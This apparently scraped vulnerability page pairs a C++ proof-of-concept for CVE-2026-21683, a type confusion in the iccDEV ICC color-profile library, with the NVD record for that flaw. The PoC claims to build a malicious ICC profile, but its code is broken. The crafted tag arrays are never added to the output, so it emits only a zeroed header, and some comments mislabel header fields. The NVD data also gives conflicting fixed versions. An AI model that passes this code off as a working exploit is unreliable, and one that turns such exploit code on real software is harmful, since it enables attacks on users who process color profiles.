CVE-2026-21683

// CVE-2026-21683 PoC - Type Confusion in iccDEV ICC Profile Processing // This PoC demonstrates the structure needed to trigger the vulnerability #include <cstdio> #include <cstdlib> #include <vector> // Malformed ICC profile structure to trigger type confusion std::vector<unsigned char> createMaliciousIccProfile() { std::vector<unsigned char> profile; // ICC Profile Header (128 bytes) unsigned char header[128] = {0}; header[0] = 0x00; // Profile size indicator header[36] = 0x02; // 'lcms' profile version // Add header to profile for(int i = 0; i < 128; i++) { profile.push_back(header[i]); } // Tag table entry pointing to malicious tag // Tag signature: 'CIec' (type confusion trigger) unsigned char tagEntry[] = { 0x43, 0x49, 0x65, 0x63, // 'CIec' tag signature 0x00, 0x00, 0x00, 0x10, // Offset 0x00, 0x00, 0x00, 0x08 // Size }; // Add malicious tag data that triggers type confusion // in CIccEvalCompare::EvaluateProfile() unsigned char maliciousTag[] = { 0x43, 0x49, 0x65, 0x63, // Type signature (confused type) 0x00, 0x00, 0x00, 0x01 // Malformed data }; return profile; } int main() { printf("CVE-2026-21683 PoC - iccDEV Type Confusion\n"); printf("Target: icStatusCMM::CIccEvalCompare::EvaluateProfile()\n"); printf("Affected: iccDEV < 2.3.1.2\n\n"); auto maliciousProfile = createMaliciousIccProfile(); printf("Generated malicious ICC profile: %zu bytes\n", maliciousProfile.size()); printf("Load this profile with vulnerable iccDEV library to trigger\n"); return 0; }

{"cve": {"id": "CVE-2026-21683", "sourceIdentifier": "[email protected]", "published": "2026-01-07T22:15:44.327", "lastModified": "2026-01-12T18:02:27.377", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "iccDEV provides a set of libraries and tools that allow for the interaction, manipulation, and application of International Color Consortium (ICC) color management profiles. Versions prior to 2.3.1.2 have a Type Confusion vulnerability in `icStatusCMM::CIccEvalCompare::EvaluateProfile()`. This vulnerability affects users of the iccDEV library who process ICC color profiles. Version 2.3.1.2 contains a patch. No known workarounds are available."}, {"lang": "es", "value": "iccDEV proporciona un conjunto de bibliotecas y herramientas que permiten la interacción, manipulación y aplicación de perfiles de gestión de color del International Color Consortium (ICC). Las versiones anteriores a la 2.3.1.2 tienen una vulnerabilidad de confusión de tipos en 'icStatusCMM::CIccEvalCompare::EvaluateProfile()'. Esta vulnerabilidad afecta a los usuarios de la biblioteca iccDEV que procesan perfiles de color ICC. La versión 2.3.1.2 contiene un parche. No se conocen soluciones alternativas disponibles."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-843"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.1.1", "matchCriteriaId": "0E50DFFC-9185-4969-85A7-6D3976699720"}]}]}], "references": [{"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/183", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/pull/228", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/security/advisories/GHSA-f2wp-j3fr-938w", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}